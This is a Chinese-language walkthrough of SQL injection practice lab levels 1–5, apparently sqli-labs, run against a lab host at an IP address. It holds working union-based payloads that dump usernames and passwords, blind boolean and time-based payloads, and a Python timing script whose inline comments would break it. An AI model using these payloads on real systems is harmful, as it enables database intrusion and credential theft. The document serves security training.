Less 1 联合查询之单引号闭合
先让id=1'试试
报错了,最简单的思路:
单引号报错,其余正常。即单引号引起查询语句错误,也就是单引号闭合
那先爆字段数:
三正常,四错误,即字段数=3
联合查询
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,database(),3 --+
简单说说,-1是为了避免查询时的返回值占位。
说白了就是,如果id=的值不是-1或者极大值(任何不存在的值),那么后台语句在查询时,就会有正常的返回值,而这个返回值会占据一个显示位,可能导致无法观察到咱们真正想要的敏感值。
union select要求左右两侧的字段数必须相等,这也是我们爆字段数的意义所在。
可以看到,在第二个显示位上出现了数据库的名字:security
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
group_concat只是将查询的这一列中的多行数据进行连接成为一行字符串,所以我们可以看到
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
没啥区别,把table(s)换成column(s)即可,后面需要改一下table_schema是指表上一层的数据库
那如果想爆列,那就应该改成列的上一层:表
table_name='users'
id username password
对应order by 爆出的3
直接用group_concat()爆就好了
http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--
第一关结束,继续
Less 2 联合查询之数字型闭合
这玩意也挺好判断的
当id=2-1的返回值等于id=1的返回值时就是数字型
反正我懒,直接把第一题的payload改成数字型就可以了
http://49.233.61.254:9902/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
Less 3
payload:
http://49.233.61.254:9902/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users--+
也是,改一下就好,思路都是一样的,就是闭合方式不同
Less 4
一样
http://49.233.61.254:9902/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
Less 5 双注入GET单引号字符型注入
这下不能省事喽
没有返回具体值,推测盲注,判断下闭合类型
单引号闭合报错|双引号闭合正常
推测单引号闭合
判断版本号第一位是否是5
id=1' and left(version(),1)=5 --+
还可以利用length来判断数据库长度:判断长度是否为8
id=1' and length(database())=8 --+
可以看到,当判断错误时,它是并无回显的。
那我们猜这玩意的数据库还是security,看看它前两位是不是se
http://49.233.61.254:9902/Less-5/?id=1' and left(database(),2)='se' --+
当然,在正常做的时候,可以用如下脚本执行
import requests import datetime import time def database_len(): for i in range(1, 10): url = "http://49.233.61.254:9902/Less-5/" payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i # print(url+payload+'%23') time1 = datetime.datetime.now()//记录当前时间1 r = requests.get(url + payload)//向网站发送请求 time2 = datetime.datetime.now()//记录当前时间2 sec = (time2 - time1).seconds//2-1做差,获取响应时间 if sec >= 1://如果响应时间大于1s,说明payload插入成功,即可判断数据库长度 print(i) else: print(i)//否则继续增加负载长度。最终输出的是数据库名称的长度。 break print('database_len:', i) #获取数据库名 def database_name(): name = '' for j in range(1,9): for i in '0123456789abcdefghijklmnopqrstuvwxyz': url = "http://49.233.61.254:9902/Less-5/" payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i) #print(url+payload) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >=3: name += i print(name) break print('database_name:', name) if __name__ == '__main__': database_name()
接下来稍微复杂
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100--+
具体来说,这句话中的id=1是一个假设的查询条件,and用于添加一个额外的条件,ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100则是该条件的实际内容。
这个条件实际上是在尝试从当前数据库的信息模式中选择第一个表的名称,并获取它的第一个字符的 ASCII 值是否等于 100(即字符“d”的 ASCII 值)。如果这个条件成立,那么可以确定这个表的名称的第一个字符是“d”。通过类似的方式逐个获取表名的每个字符,最终可以获取到完整的表名,从而对该表进行其他的SQL注入。
在上面的SQL注入语句中,substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)的目的是提取当前数据库中第一个表的名称中的第一个字符,并将其转换为ASCII码值,以便进行比较。这个函数调用包括三个参数:第一个参数(select table_name from information_schema.tables where table_schema=database() limit 0,1)是一个子查询,用于获取当前数据库中第一个表的名称;第二个参数1是要提取的子串的起始位置;第三个参数1是要提取的子串的长度。
在这个函数调用的结果中,最后的两个1并不重要,它们只是函数的参数之一。如果要获取表名的第二个字符,则可以将第二个参数改为2,以此类推。而最后的1则表示要提取的子串长度为1,因为我们只需要比较表名的第一个字符的ASCII码值,所以只提取了一个字符。
如果想要爆第二位的字母,只需将倒数第二个为1的参数改为2即可
关于substr:
SUBSTR(string, start, length)
其中,string是要提取子串的原始字符串,start是子串的起始位置,length是要提取的子串的长度。例如,如果我们有一个字符串"Hello, world!",那么SUBSTR("Hello, world!", 1, 5)将返回"Hello",因为它提取了字符串的前五个字符。
在SQL注入中,substr通常用于获取数据库中的信息,例如提取表名、列名或敏感数据等。在注入中,攻击者可以通过调用substr函数,从原始字符串中提取子串,以此来推断出数据库中的结构和数据。
接着类似如下payload判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
往下以此类推,这太费时间,直接Sqlmap吧